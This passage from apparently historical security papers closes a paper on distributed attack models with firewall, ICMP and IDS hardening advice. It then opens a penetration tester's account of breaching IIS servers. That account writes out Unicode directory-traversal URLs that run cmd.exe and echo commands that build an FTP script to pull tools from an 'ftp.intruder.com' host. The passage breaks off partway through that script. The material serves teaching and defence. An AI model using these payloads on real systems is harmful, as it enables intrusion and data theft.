  1469.  
  1470. Host/Host Services Identification example 2, figure 5:
  1471.  
  1472.  
  1473.  
  1474.      *----------*
  1475.      |          |
  1476.   /->| attacker |----------
  1477.   |  |          |          \
  1478.   |  *----------*           |
  1479.   |     |   |               |
  1480.   |     |   v               v
  1481.   |  *---------*       *---------*
  1482.   |  |         |       |         |
  1483.   |  | client1 |--     | client2 |--
  1484.   |  |         |  \    |         |  \        *---*
  1485.   |  *---------*   \   *---------*   \       | f |
  1486.   |     |           \                 \      | i |
  1487.   |     v            \                 \     | r |   *---------*
  1488.   |  *---------*      \                 -----| e |-->|         |
  1489.   |  |         |       ----------------------| w |-->| various |
  1490.   |  | client3 |-----------------------------| a |-->| targets |
  1491.   |  |         |             ----------------| l |---|         |
  1492.   |  *---------*            /                | l |   *---------*
  1493.   |                        /                 *---*
  1494.   |  *---------*          /
  1495.   |  |         |         /
  1496.   \->|  sniff  |--------/
  1497.      | results |       /
  1498.      |         |      /
  1499.      *---------*     /
  1500.                     /
  1501.   <-----------------
  1502.                   /
  1503.   <---------------
  1504.                 /
  1505.   <-------------
  1506.  
  1507. Figure 5 is one of the more complex models. This involves multiple clients
  1508. directed by a master, performing slow methodical port scans of the target
  1509. network. All of the port scans are using forged addresses from trusted sources
  1510. whose IP addresses are allowed through the firewall. An upstream sniffer
  1511. captures the replies. The clients and sniffer could even reside on hosts
  1512. belonging to the trusted sources, and perhaps even be allowed through a VPN.
  1513. This type of scenario is rather complex due to the lack of custom software need
  1514. to perform the scans, although various existing products could be modified to
  1515. handle most of the elements involved.
  1516.  
  1517. When discussing actual attacks, in particular distributed attacks, the best path
  1518. into a network is the path you know works. Therefore the main line of attack
  1519. will more than likely involve Figures 4 and 5, with a few possible
  1520. modifications.
  1521.  
  1522. Actual Penetration, example 1, figure 6:
  1523.  
  1524.  
  1525.  
  1526.                                               *---*
  1527.                                               | f |
  1528.                                               | i |
  1529.                                               | r |
  1530.      *----------* Sploit to remotely set up a | e |   *---------*
  1531.      |          | reverse telnet via port 25  | w |   |         |
  1532.      | attacker |-----------------------------| a |-->| targets |
  1533.      |          |             ----------------| l |---|         |
  1534.      *----------*            /                | l |   *---------*
  1535.                             /                 *---*
  1536.                    Return of reverse telnet
  1537.      *----------*  output on port 80
  1538.      |          |        /
  1539.      | listener |<-------
  1540.      |          |
  1541.      *----------*
  1542.  
  1543. In this example an exploitable sendmail daemon was found on a system that didn't
  1544. really need sendmail running, and since sendmail was running as root, a reverse
  1545. telnet was set up [10].
  1546.  
  1547. Actual Penetration, example 2, figure 7:
  1548.  
  1549.  
  1550.  
  1551.      *----------*
  1552.      |          |
  1553.   /->| attacker |----------
  1554.   |  |          |          \
  1555.   |  *----------*           |
  1556.   |     |   |               |
  1557.   |     |   v               v
  1558.   |  *---------*       *---------*
  1559.   |  |         |       |         |
  1560.   |  | client1 |--     | client2 |--
  1561.   |  |         |  \    |         |  \        *---*
  1562.   |  *---------*   \   *---------*   \       | f |
  1563.   |     |           \                 \      | i |
  1564.   |     v            \                 \     | r |   *---------*
  1565.   |  *---------*      \                 -----| e |-->|         |
  1566.   |  |         |       ----------------------| w |-->| various |
  1567.   |  | client3 |-----------------------------| a |-->| targets |
  1568.   |  |         |             ----------------| l |---|         |
  1569.   |  *---------*            /                | l |   *---------*
  1570.   |                        /                 *---*
  1571.   |  *---------*          /
  1572.   |  |         |         /
  1573.   \->|  sniff  |--------/
  1574.      | results |       /
  1575.      |         |      /
  1576.      *---------*     /
  1577.                     /
  1578.   <-----------------
  1579.                   /
  1580.   <---------------
  1581.                 /
  1582.   <-------------
  1583.  
  1584. In figure 7 the attacker directs attacks against targets via the clients to try
  1585. to compromise various daemons to run arbitrary commands as root. Results are
  1586. sent to forged IP addresses, but a sniffer captures these results. In case of
  1587. logging and host-based IDS, the attacker is not suspected, the owners of the
  1588. forged IP addresses are.  Patterns of Attack
  1589.  
  1590. At first glance, it may seem easy to defend against the onslaught of attacks,
  1591. probes, and enumeration techniques. But it must be remembered that byte pattern
  1592. recognition or traffic on certain source and destination ports can easily be
  1593. changed by the attacker. A lot of the techniques outlined above can and will use
  1594. encryption, and can potentially operate over TCP, UDP, and/or ICMP, and can use
  1595. different source and destination ports.
  1596.  
  1597. In particular let's look at figures 5 and 7 above. These are complex scenarios,
  1598. but could conceivably be done especially from a trusted host or network. The VPN
  1599. is often considered a security tool, and its use is considered adequate in
  1600. helping secure a channel. But all a VPN does is ensure that a communications
  1601. link can be established with the communications link itself being somewhat
  1602. secure. The end points are critical - if you have established a VPN with a
  1603. business partner of field office, you are only as secure as that remote site's
  1604. computer systems. Does your business partner or remote office keep updated and
  1605. patched as often as you do? Does your vendor have a security policy in place?
  1606. Have you even asked your business partner or vendor these questions?
  1607.  
  1608. It is also possible that during upstream sniffing sessions that an attacker
  1609. could determine that due to relationships with certain vendors you may have
  1610. rules through the firewall entirely based upon IP address and/or hostname. These
  1611. can and will be exploited if uncovered, either through the trusted vendor or by
  1612. spoofing and sniffing as outlined in the above models.
  1613.  
  1614. However we *can* look at the above attack models and make some general
  1615. determinations.
  1616.  
  1617. - All attacks involve possible covert communication methods between the attacker
  1618. and the attacking/probing device. - When possible, traffic is disguised to look
  1619. like normal network traffic. - When possible, IP addresses will be spoofed to
  1620. mask the location of attacker, attack clients, probing machines, and/or to
  1621. implicate a third party in case of accidental discovery.  Primary Defensive
  1622. Techniques
  1623.  
  1624. Let's first look at the easy-to-do defenses that can be put in place.
  1625.  
  1626. First off we need to eliminate as many unwanted forms of traffic through the
  1627. firewall as possible. This can be done by denying all traffic, and very
  1628. carefully opening things up. Sometimes by clicking on a pretty icon in the
  1629. firewall GUI control software labelled "DNS" or "Mail" we feel we are
  1630. controlling the environment, but this may be opening up ports 53 and 25 to the
  1631. world. If attackers learn this, they could use these openings to help set up
  1632. covert channels. Ensure that when allowing public traffic into your network
  1633. (DNS, SMTP, HTTP, FTP) that you do *not* allow these forms of traffic into your
  1634. networks without limits. Check to make sure that turning on DNS in the firewall
  1635. did not open up TCP and UDP port 53 to every device on your network.
  1636.  
  1637. All public boxes, such as your Web, FTP, and mail servers should reside in a
  1638. separate network (appropriately referred to as a "dead zone" or DMZ). These
  1639. boxes should not be allowed to initiate network conversations with computers
  1640. inside the internal network - if compromised, these boxes will be used as
  1641. stepping stones to the internal network across all channels you leave open.
  1642.  
  1643. All Internet-connected boxes should not have compilers on them, should have as
  1644. few services running as possible, and should have fairly sophisticated
  1645. modifications to prevent compromise (see the Host Recommendations section
  1646. below).
  1647.  
  1648. Make sure management channels and ports are closed or at least secured. For
  1649. example, does turning on remote management to your Checkpoint Firewall
  1650. automatically open up port 256? Make sure you've set things up correctly. Is
  1651. SNMP closed from the outside? From the DMZ?
  1652.  
  1653. While it is my opinion that all computers should be secured as adequately as
  1654. possible, if you are on a limited budget, or you must prioritize what boxes get
  1655. secured first, secure them in this order - firewall, public boxes in the DMZ,
  1656. internal servers, workstations.
  1657.  
  1658. Obviously keeping the boxes themselves as updated as possible is the most
  1659. desired thing - the latest patches and tweaks - as this will make your systems
  1660. less of a potential target or launch point for further attacks.  ICMP Defenses
  1661.  
  1662. Since a lot has been written about TCP/UDP rules for a firewall, but little has
  1663. been written about ICMP, I've decided to expand upon the philosophy of handling
  1664. ICMP at the firewall.
  1665.  
  1666. It is considered "bad form" by some Internet pundits to turn off ICMP entirely.
  1667. ICMP was originally developed to *help* networks, and is often used as a
  1668. diagnostic tool by WAN administrators. But today the various inadequacies of
  1669. ICMP are being used and abused in ways not originally intended by supporters of
  1670. RFC 792, and certain strategies need to be implemented to make things a little
  1671. safer. Therefore we need to try and contain as much of the abuse as possible
  1672. without shooting ourselves in the foot.
  1673.  
  1674. Most Internet-connected sites block inbound ICMP Echo to their internal
  1675. networks, but do not block most everything else. This will still leave the site
  1676. inadequately protected. Inbound ICMP Timestamp and Information Request will
  1677. respond if not blocked, and both can be used for host enumeration across a
  1678. firewall that allows such traffic through. Even forging packets with illegal or
  1679. bad parameters can generate an ICMP Parameter Problem packet in return, thereby
  1680. allowing yet another method of host enumeration.
  1681.  
  1682. One of the common methods used to issue commands from a master to clients
  1683. (especially if the clients are behind a firewall) in a stealth manner is to use
  1684. ICMP Echo Reply packets as the carrier. Echo Replies themselves will not be
  1685. answered and are typically not blocked at the firewall. An excellent early
  1686. example of this type of communication can be found in Loki [11]. Loki was also
  1687. pilfered from (at least in concept) during the development and evolution of TFN
  1688. [1] as communications use Echo Reply packets between client and server pieces,
  1689. which are also encrypted.
  1690.  
  1691. First we have to approach the entire "ICMP limiting" problem in terms of both
  1692. inbound and outbound. To cut some of the communication links in models outlined
  1693. above we have to "contain" ICMP. ICMP Echo does come in handy for verifying that
  1694. remote sites are up, but outbound Echo should be limited to support personnel
  1695. (okay) or a single server/ICMP proxy (preferred).
  1696.  
  1697. If we limit Echo to a single outbound IP address (via a proxy), then our Echo
  1698. Replies should only come into our network destined for that particular host.
  1699.  
  1700. Redirects are typically found in the wild between routers, not between hosts.
  1701. The firewall rules should be adjusted to allow these types of ICMP only between
  1702. the routers directly involved in the Internet connection that need the
  1703. information. If the firewall is functioning as a router, it is quite possible
  1704. that Redirects can be completely firewalled without adverse effects, both
  1705. inbound and outbound.
  1706.  
  1707. Source Quench packets are generated when a large amount of data is being pushed
  1708. toward a host or router, and the host or router wishes to tell the sender to
  1709. "slow things down". This is typically seen during streaming uploads of data to a
  1710. host, and can be generated by a router along the way or via the target host
  1711. itself. If the hosts inside the network can only upload to a host on the
  1712. Internet via FTP, then it is possible that the only source of legitimate Source
  1713. Quench packets will be destined toward the FTP proxy, and all other Source
  1714. Quench traffic can be dropped.
  1715.  
  1716. Time Exceeded packets are an interesting animal. There are two types of Time
  1717. Exceeded packets - code zero for Time To Live (TTL) timeouts, and code one for
  1718. fragmented packet reassembly timeout.
  1719.  
  1720. The TTL is a value initialized and placed in the TTL field of a packet when it
  1721. is first created, and as the packet crosses a network hop its TTL counter is
  1722. decremented by one. Starting with a TTL of 64, once the 64th hop is crossed the
  1723. router that decremented the TTL to zero will drop the packet and send a Time
  1724. Exceeded back to the sender with a code of zero, indicating the maximum hop
  1725. count was exceeded.
  1726.  
  1727. In the case of fragmented packet reassembly timeout, when a fragmented datagram
  1728. is being reassembled and pieces are missing, a Time Exceeded code one is set and
  1729. the packet is discarded. It is possible to perform host enumeration by sending
  1730. fragmented datagrams with missing fragments, and waiting for the Time Exceeded
  1731. code one to alert the sender that a host existed at the address, so care must be
  1732. taken with the handling of these types of packets.
  1733.  
  1734. It is recommended that by proxying all outbound traffic, inbound ICMP traffic
  1735. should come back through the firewall to the proxy address. This at least limits
  1736. Time Exceeded packets to a single inbound address. But it is possible to block
  1737. Time Exceeded packets. Most applications will have an internal timeout that is
  1738. not dependent upon receiving a Time Exceeded packet, some applications may still
  1739. be relying upon receiving one. YMMV on this one. Block it unless too many
  1740. critical internal applications are affected.
  1741.  
  1742. The ICMP Parameter Problem packets are sent whenever an ICMP packet is sent with
  1743. incorrect parameters that will cause the packet to be discarded. The host or
  1744. router discarding the host sends a Parameter Problem packet back to the sender,
  1745. pointing out the bad parameter. By sending illegally constructed ICMP packets to
  1746. a host, you can cause the host to reply with a Parameter Problem packet.
  1747. Obviously if the type of illegally constructed ICMP is allowed through the
  1748. firewall, you can enumerate hosts.
  1749.  
  1750. There is no reason to allow inbound or outbound Timestamp, Timestamp Reply, Info
  1751. Request and Info Reply packets across the firewall. Whatever value they might
  1752. have should be limited to the internal network only, and should never cross onto
  1753. the open Internet. The same may be said of Address Requests and Address Replies,
  1754. as there is no real reason for a host to be aware of the destination's IP
  1755. Address mask to send the packet. Address Requests and Replies are intended to
  1756. assist diskless workstations booting from the net to determine their own IP
  1757. address mask, especially if there is subnetting going on, therefore there is no
  1758. reason to pass this traffic across a firewall (in fact, routers adhering to RFC
  1759. 1812 will not forward on an Address Request to another network anyway).
  1760.  
  1761. The general philosophy here is that only publicly addressable servers (such as
  1762. web, e-mail, and FTP servers), firewalls, and Internet-connected routers have
  1763. any real reason to talk ICMP with the rest of the world. If adjusted
  1764. accordingly, virtually all stealth communication channels that use ICMP, inbound
  1765. or outbound, will be stopped.  Host Recommendations
  1766.  
  1767. What are some good precautions we can use on hosts connected to the Internet? We
  1768. will not cover Microsoft offerings here, but will assume the we will be using
  1769. only open sourced operating systems on hosts we have that are addressable from
  1770. the Internet (Web, SMTP, FTP, etc). All machines serving the public via the
  1771. Internet should be locked down. Here is a recommended list of tactics to help
  1772. protect the machines exposed to the Internet.
  1773.  
  1774. - Isolate all public servers to a DMZ.
  1775.  
  1776. - Each offered service should have its own server. For example, if your public
  1777. services are email and web, do not try to save money and run both on the same
  1778. server. Use separate servers.
  1779.  
  1780. - If using Linux (recommended) you can use any one or several of the "buffer
  1781. overflow/stack execution" patches and additions to prevent most (if not all)
  1782. local and remote buffer overflows that could lead to root compromise. Solar
  1783. Designer's patch [13] is highly recommended as it includes additional security
  1784. features, such as secured
  1785.  
  1786. - Instead of SSH, use Secure Remote Password (SRP) [14]. SRP offers PAM
  1787. compatibility, drop-in replacement for telnet and FTP daemons, encrypted telnet
  1788. and FTP sessions, and defeat of zero knowledge attacks. One great advantage to
  1789. SRP is that only enough material to determine that you know the password is
  1790. stored in the password file, so even if the password file is captured by an
  1791. intruder it cannot be cracked. You can even have passwords up to 128 characters
  1792. in length!
  1793.  
  1794. - Limit access to those SRP-enabled telnet and FTP daemons to internal addresses
  1795. only, and insist that only SRP-enabled clients can talk to them. If you must run
  1796. regular FTP for public access (such as anonymous FTP) run SRP FTP on a different
  1797. port.
  1798.  
  1799. - Use trusted paths. Only allow execution of root-owned binaries that are in a
  1800. directory owned by root that is not world or group writable. To enforce this you
  1801. can modify the kernel if need be [15].
  1802.  
  1803. - Use the built-in firewalling capabilities. By turning on firewall rules you
  1804. can often take advantage of the kernel's handling of state tables. The state
  1805. table keeps track of IP addresses and port connections. If a packet is received
  1806. that is *not* a SYN packet and *not* part of an existing conversation, drop the
  1807. packet. This may require kernel modification to support it [16]. - Use some form
  1808. of port scan protection. This can be done either via a daemon on Linux [17] or
  1809. via kernel modifications [16].
  1810.  
  1811. - Use Tripwire [18] or an equivalent to help detect modifications to important
  1812. files. Version 2.2.1 for Linux is freeware, other versions are not.  IDS
  1813. Recommendations
  1814.  
  1815. Since many of the methods to defeat network-based IDS are still applicable to
  1816. most commercial IDS products available (see [2], [3], and [4] for details), it
  1817. is recommended using an IDS that at least can reassemble or at least detect
  1818. fragmented datagram packets. This limits you to Snort [9], NFR, Dragon, and
  1819. BlackIce [19], with Snort in its current version only able to detect very small
  1820. fragment sizes of packets. Only Dragon can handle fragmented packet reassembly
  1821. at high network speeds with lots of traffic.
  1822.  
  1823. If you are on a budget, you can limp by with Snort, although any serious or
  1824. high-traffic site is going to require Dragon to handle the load. The next
  1825. question is - what should I watch for? Here is a partial list:
  1826.  
  1827. - Be sure to include all of the existing rules, including new rules for some of
  1828. the distributed DoS attacks (see [1] for details on those attacks).
  1829.  
  1830. - Since much of ICMP will be blocked if the ICMP Recommendations section is
  1831. followed, numerous opportunities for IDS triggers exist. Any inbound or outbound
  1832. ICMP packets that would normally be blocked can be triggered upon.
  1833.  
  1834. - *Any* network traffic you have firewalled off can be a potential IDS trigger.
  1835. Examine what you are blocking and why, and consider adding IDS rules to look for
  1836. such packets. - If your IDS supports detection of attacks over long periods of
  1837. time (for example, a port scan) be sure to not exclude trusted hosts you might
  1838. be allowing through the firewall. This includes VPNs. Spoofed packets from those
  1839. trusted sites might *look* like normal traffic, but could possibly be probes or
  1840. attacks. - If you can train any user of ping to use small packet sizes when
  1841. pinging hosts (such as 'ping -s 1 target.address.com'), set your IDS to look for
  1842. Echo and Echo Replies with packets larger than 29 bytes.  Conclusions
  1843.  
  1844. By securing the hosts, limiting the channels of communication between nefarious
  1845. elements, and adjusting firewall and IDS rules, most of the network attacks
  1846. outlined here (real and theoretical) can be defeated. A side effect of
  1847. implementing these recommendations is that not only are distributed attack
  1848. models stopped, but overall security is greatly enhanced. Full frontal attacks
  1849. are easily detected and can be quickly avoided.  Acknowledgements
  1850.  
  1851. I would thank the BindView RAZOR team for their support during the writing of
  1852. this paper. Numerous times I asked the team questions and received answers that
  1853. opened up new ideas. Their help was invaluable.
  1854.  
  1855. I'd also like to thank my wife and kids for being patience while I toiled away
  1856. for hours over the computer. There is nothing like support from home. 
  1857. References
  1858.  
  1859.  
  1860. Here are some articles and papers related to the subject presented here.
  1861.  
  1862.  
  1863. [1] David Dittrich (dittrich@cac.washington.edu) provided detailed analysis of
  1864. three distributed denial of service tools found in the wild.
  1865.  
  1866.  
  1867. "The DoS Project's "trinoo" distributed denial of service attack tool"
  1868. http://staff.washington.edu/dittrich/misc/trinoo.analysis; "The "Tribe Flood
  1869. Network" distributed denial of service attack tool
  1870. "http://staff.washington.edu/dittrich/misc/tfn.analysis; The "stacheldraht"
  1871. distributed denial of service attack tool
  1872. http://staff.washington.edu/dittrich/misc/stacheldraht.analysis.
  1873.  
  1874.  
  1875. [2] Thomas H. Ptacek and Timothy N. Newsham wrote an enormously influential
  1876. paper discussing IDS avoidance, with many of the documented techniques still not
  1877. corrected by commercial IDS vendors since the paper's debut in January of 1998.
  1878. "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection"
  1879. - http://www.clark.net/~roesch/idspaper.html
  1880.  
  1881.  
  1882. [3] Rain Forest Puppy (rfp@wiretrip.net), author of numerous advisories, wrote a
  1883. tool called whisker, which is a CGI vulnerability scanner. RFP wrote up this
  1884. paper explaining the techniques he outlined in whisker, can could be applied to
  1885. other protocols besides HTTP. "A look at whisker's anti-IDS tactics"
  1886. http://www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html
  1887.  
  1888.  
  1889. [4] Greg Shipley did a review for Network Computing of intrusion detection
  1890. systems, both host and network based. The results were interesting enough to
  1891. influence some of the thoughts in this paper as the article was much more
  1892. interesting than one would expect for a trade magazine product review.
  1893. "Intrusion Detection: Take Two" http://www.networkcomputing.com/1023/1023f1.html
  1894.  
  1895.  
  1896. [5] Simple Nomad (thegnome@nmrc.org) presentations to SANS covered possible
  1897. network enumeration, host identification, and port scanning techniques using
  1898. various adaptations of off-the-shelf products. "Network Cat and Mouse", SANS
  1899. Network Security '99, New Orleans http://www.sans.org/, "The Paranoid Network",
  1900. to be presented at SANS 2000, Orlando, FL
  1901.  
  1902.  
  1903. [6] Simple Nomad (thegnome@nmrc.org) white paper that expanded on the ideas
  1904. originally developed and presented in [5]. "Traffic Pattern Duplication to Avoid
  1905. Intrusion Detection", To be released soon.
  1906.  
  1907.  
  1908. [7] Fyodor (fyodor@dhp.com) has written NMap, considered to be one of the best
  1909. host and host service enumeration tools available, loaded with tons of features.
  1910. NMap, http://www.insecure.org/nmap/
  1911.  
  1912.  
  1913. [8] Jordan Ritter (jpr5@darkridge.com, jpr5@bos.bindview.com) has written a
  1914. handy tool to sniff and grep through network traffic, appropriately called
  1915. ngrep. ngrep, http://www.packetfactory.net/ngrep/
  1916.  
  1917.  
  1918. [9] Martin Roesch (roesch@clark.net) has written a great IDS called snort that
  1919. is simple to use, fast, and free. snort,
  1920. http://www.clark.net/~roesch/security.html
  1921.  
  1922.  
  1923. [10] Stuart McClure, Joel Scambray, & George Kurtz have written a book entitled
  1924. "Hacking Exposed" which uncovers numerous attacker techniques. The reverse
  1925. telnet technique is detailed in Chapter 13, page 382-3. "Hacking Exposed", ISBN
  1926. 0-07-212127-0, 1999 http://www.hackingexposed.com/
  1927.  
  1928.  
  1929. [11] Michael D. Schiffman wrote a white paper that illustrate a method for using
  1930. ICMP to establish a covert communications method across a network, including
  1931. across a firewall. Jeremy Rauch assisted Schiffman in developing proof of
  1932. concept software, and Schiffman followed it up with a later article that covered
  1933. implementation issues. Both are available at Phrack's web site at
  1934. http://www.phrack.com/. "Project Loki: ICMP Tunnelling", Phrack 49, File 6 of
  1935. 16, 1996. "LOKI2 (the implementation)", Phrack 51, File 6 of 17, 1997.
  1936.  
  1937.  
  1938. [12] RFC 792, RFC 950, RFC 1122, RFC 1123, and RFC 1812, specifically section
  1939. 4.3 of RFC 1812 on the handling of ICMP by routers.
  1940.  
  1941.  
  1942. [13] Solar Designer's Linux kernel patch is available from
  1943. http://www.openwall.com/linux/.
  1944.  
  1945.  
  1946. [14] Thomas Wu developed Secure Remote Password (SRP) while attending Stanford.
  1947. It touts a number of unique features, including defeating zero knowledge attacks
  1948. and even protects against password recovery from the password file. SRP,
  1949. http://srp.stanford.edu/srp/
  1950.  
  1951.  
  1952. [15] Michael D. Schiffman wrote two articles for Phrack which cover trusted path
  1953. execution - one for Linux and one for OpenBSD. While the code will not cleanly
  1954. patch current kernels, it is a good place to start. Visit
  1955. http://www.phrack.com/. "Hardening the Linux Kernel", Phrack 52, File 6 of 20,
  1956. 1998. "Hardening OpenBSD for Multiuser Environments", Phrack 54, File 6 of12,
  1957. 1998.
  1958.  
  1959.  
  1960. [16] Simple Nomad pulled together several security patches for 2.0.3x kernels
  1961. and developed a single patch. Two of the included items show how to make use of
  1962. the built-in state table and kernel-level port scan detection. nmrcOS kernel
  1963. patches, http://www.nmrc.org/nmrcOS/
  1964.  
  1965.  
  1966. [17] Solar Designer's scanlogd daemon detects multiple port connections from a
  1967. single address. NMap can easily defeat this with slower scans but it is still
  1968. useful. scanlogd, http://www.openwall.com/scanlogd/
  1969.  
  1970.  
  1971. [18] Tripwire can be obtained from Tripwire, Inc. at
  1972. http://www.tripwiresecurity.com/. The Linux version is free.
  1973.  
  1974.  
  1975. [19] Commercial IDS products mentioned here can be obtained via the following
  1976. vendors: NFR IDA from NFR, http://www.nfr.net/ BlackIce from Network Ice Corp.,
  1977. http://www.networkice.com/ Dragon from Network Security Wizards,
  1978. http://www.securitywizards.com/
  1979.  
  1980.  
  1981. You can find this paper and others like it at http://razor.bindview.com/
  1982.  
  1983.  
  1984.  
  1985.  
  1986. =================[ Autopsy of a Successful Intrusion ]==================
  1987.  
  1988.                               --- by Floydman ---
  1989.                               
  1990.                               
  1991. Abstract
  1992.  
  1993. This paper consists of the recollection and analysis of two network intrusion
  1994. that I have performed as part of my duties as a computer security consultant.
  1995. The name of the company I worked, as well as their customers that I hacked into,
  1996. will remain anonymous for obvious reasons. The goal of this paper is to show
  1997. real life cases of what computer security looks like in the wild, in corporate
  1998. environments. I will try to outline the principal reasons why these intrusions
  1999. were successful, and why this kind of performance could be achieved by almost
  2000. anybody, putting whole networks at risks that their owner don't even begin to
  2001. realize yet.
  2002.  
  2003. Preface
  2004.  
  2005. It's been over a year now that I delved into computer security. Before that, I
  2006. was doing computer support and server admin on various platforms: DOS, OS/2,
  2007. Novell, Windows. I have always been kind of a hack, but I never realized it
  2008. until I had enough free time ahead of me to start studying the hacking scene and
  2009. the computer security industry more in depth. That is how I started writing
  2010. whitepapers, and that I was eventually invited to a conference to present some
  2011. of my work. But I didn't want to have problems with the law, and I was short on
  2012. ressources (money, boxes, bandwidth), so I limited myself to keeping tracks of
  2013. new vulnerabilities and understanding how they worked without actually having
  2014. the opportunity to try them on a real machine. So when I got this job and they
  2015. asked me to try to hack these networks, I was really anxious at what I could
  2016. really do. After all, I can't be worse than a script kiddie, can I?
  2017.  
  2018. Targeted audience
  2019.  
  2020. This document is presented to anyone who has interests in computer security,
  2021. network intrusion, hacking, viruses and Trojan horses, network administration
  2022. and computing in general.
  2023.  
  2024. Introduction
  2025.  
  2026. What I am about to describe here is the complete story of two successful network
  2027. intrusion, where we (quickly and rather easily) had complete access to
  2028. everything. These two networks are the same kind of networks that get infected
  2029. all the time with I Love You, Melissa, Anna.Kournikova, Sircam only to name a
  2030. few. The people who runs these networks, and the people who own them, can't keep
  2031. ahead with plain viruses (for another sample of this, read "Virus protection in
  2032. a Microsoft Windows network, or How to stand a chance"), let alone with a
  2033. dedicated intruder that will hopefully be smart enough to hide his tracks (but
  2034. even that his not even to be a requirement soon if it keeps up like that, as
  2035. we'll see later). And these are networks owned by (apparently) respected big
  2036. corporations, and were equiped with firewalls and antivirus software. And they
  2037. still wonder why e-commerce never lifted up to expectations?
  2038.  
  2039. Technical background of the hack
  2040.  
  2041. Both networks were based on Microsoft systems, which is not that surprising
  2042. since it is the most (and by far) used platform in corporate environments,
  2043. especially on the desktop area. Both intrusions were made over the Internet with
  2044. tools freely available on the Internet. They used vulnerabilities that were
  2045. known for quite a long time, and we sometimes had to use a bit of imagination to
  2046. do the rest. If you are a Windows NT/2000 admin, what you are about to read
  2047. should scare you to hell. If you are a malicious hacker that does this kind of
  2048. thing for a living of just plain fun, you probably know all this stuff already.
  2049. But you'll probably still want to read on to have a good laugh.
  2050.  
  2051. Both intrusions followed the same methodology, similar to those of a typical
  2052. intrusion, which is gathering of information, analysis of the information,
  2053. research of vulnerabilities, and implementation of the attack (we didn't have
  2054. time to test on one of our machines, but that didn't matter), repeat. Both
  2055. attacks were done from our facilities using our dedicated ADSL line over the
  2056. Internet. One of the intrusion involved going undercover physically onsite at
  2057. the customer premises to plant a wireless hub on the network. A laptop equipped
  2058. with a wireless network card was also used to link with the hub momentarilly, to
  2059. avoid detection.
  2060.  
  2061. Some of the tools used were:
  2062.  
  2063. SuperScan : to scan classes of IP address to determine open ports CyberKit :
  2064. this tool lets you do IP infomation gathering (DNS lookups, traceroute, whois,
  2065. finger) nc.exe : NetCat, ported to Win32. This program lets you initiate telnet
  2066. connections on any port you want hk.exe : program that exploit a vulnerability
  2067. in the Win32 API (LPC, Local Procedure Call) that can be used to get System
  2068. Level access net commands : these should be known to all NT admins (net view,
  2069. net share, net use, etc) a hex editor : these programs let you edit binary files
  2070. in hexadecimal/ascii format, a bit similar to notepad for text files l0phtcrack
  2071. : this software lets you crack the NT passwords file whisker.pl : this script
  2072. will scan webservers for known vulnerabilities, along with instructions on how
  2073. to expoit them EditPad Classic : this is a Notepad Deluxe, where we gather the
  2074. information collected during the hack and other tools that I forgot that were
  2075. part of the NT Ressource kit or that I will mention later in the text.
  2076.  
  2077. Sugar input was provided with a supply of M&Ms and coke (the drink, not the
  2078. sniff).
  2079.  
  2080. The first victim
  2081.  
  2082. Pseudonym : XYZ Media Publishing Corporation Type of company : Big Media
  2083. Corporation (TV, radio, newspapers, magazines, record company, don't they all do
  2084. that nowadays?) Time allowed to hack : 3 man/days Goal : penetrate the network
  2085. as far as possible and get evidence of intrusion
  2086.  
  2087. So I start with the beginning, making DNS lookups on their IP classes, whois
  2088. requests and port scan the IP addresses of the company's main website as well as
  2089. the subsidiaries websites. It turns out that there are over 140 machines
  2090. publicly exposed to the Internet (web servers, DNS, mail, B2B), mostly Windows
  2091. NT machines, with a couple *nix in the lot. A quick header scan of the web
  2092. servers show effectively a mix of IIS 3.0 and 4.0. Now, the problem is to figure
  2093. out where to start. Let's start with the obvious, the main website (NT 4.0 IIS
  2094. 4.0). A quick check at the Bugtraq archive at SecurityFocus shows me that the
  2095. "Directory traversal using Unicode vulnerability" is still quite popular
  2096. (especially by script kiddies who uses it to perform website defacements), even
  2097. if it's been out for about a year already. Especially since there is a new
  2098. variation every couple of weeks or so. So I fire up my specially crafted hacking
  2099. tool, MS Internet Explorer (sarcasm directed at medias covering hacking
  2100. incidents).
  2101.  
  2102. The directory traversal vulnerability works by fooling the web server to give
  2103. you content located outside of the web directory that it is supposed to be
  2104. limited to. By default (which must cover anything between 50%-90% of the
  2105. installed base), the content served by the server is located at
  2106. C:\Inetpub\wwwroot. So, instead of requesting the document
  2107. http://www.victim.com/index.html (that correspond physically on the server to
  2108. the file C:\Inetpub\wwwroot\index.html), you request something like
  2109. http://www.victim.com/../../index.html, which will request the file
  2110. C:\index.html. Of course, index.html doesn't exist on C:\, but that doesn't
  2111. matter, since from there you can request any file that you know the location of,
  2112. based on a default install. Things that come to mind is the cmd.exe program,
  2113. that you can use to issue commands on the web server as if you were sitting
  2114. there and typing in a DOS box. I have to say at this point that the
  2115. vulnerability doesn't work like I said, but that was a simple explanation of
  2116.  
  2117. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+dir+c:\+/s
  2118.  
  2119. Notice that + replaces the [Space] character in your commands, and ?/c+ is
  2120. required to pass parameters to cmd.exe. %1c%pc is the Unicode equivalent to /..
  2121. (other equivalents may work, see the Bugtraq entry about this vulnerability for
  2122. more details). So now we have in our browser window a complete listing of all
  2123. files present on the C: drive of the server. We can do the same thing for the D:
  2124. drive, to see if it's present, and if it is, do it for the E: drive, and so on.
  2125. The idea is to gather up as much information about the machine as we can get. At
  2126. this point, we know enough to see what software runs on the machine, where the
  2127. data is located. Notice that at this point, we could start to issue ping
  2128. commands or net commands to try to map to any internal network the server may be
  2129. talking to, but issuing these commands with the web browser is not really
  2130. convenient. So we're going to get a real command prompt.
  2131.  
  2132. First, I set up a FTP server (no anonymous access, of course) on my laptop and
  2133. put my tools in the main FTP folder. Namely, I put nc.exe and hk.exe and a
  2134. couple from the ressource kit. Then I use the FTP utility conviniently waiting
  2135. where I expect it to be for me to initate a connection to my laptop and fetch my
  2136. tools. Since the FTP program is interactive and that I can only issue commands
  2137. via the web server, I have to make a FTP script on the server. To do this, I
  2138. simply issue echo commands redirected to a text file, using the directory
  2139. traversal vulnerability.
  2140.  
  2141. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+open+ftp.intruder.com+>>ftp.txt
  2142. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+username>>ftp.txt
  2143. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+password>>ftp.txt
  2144. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+prompt>>ftp.txt
  2145. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+bin>>ftp.txt
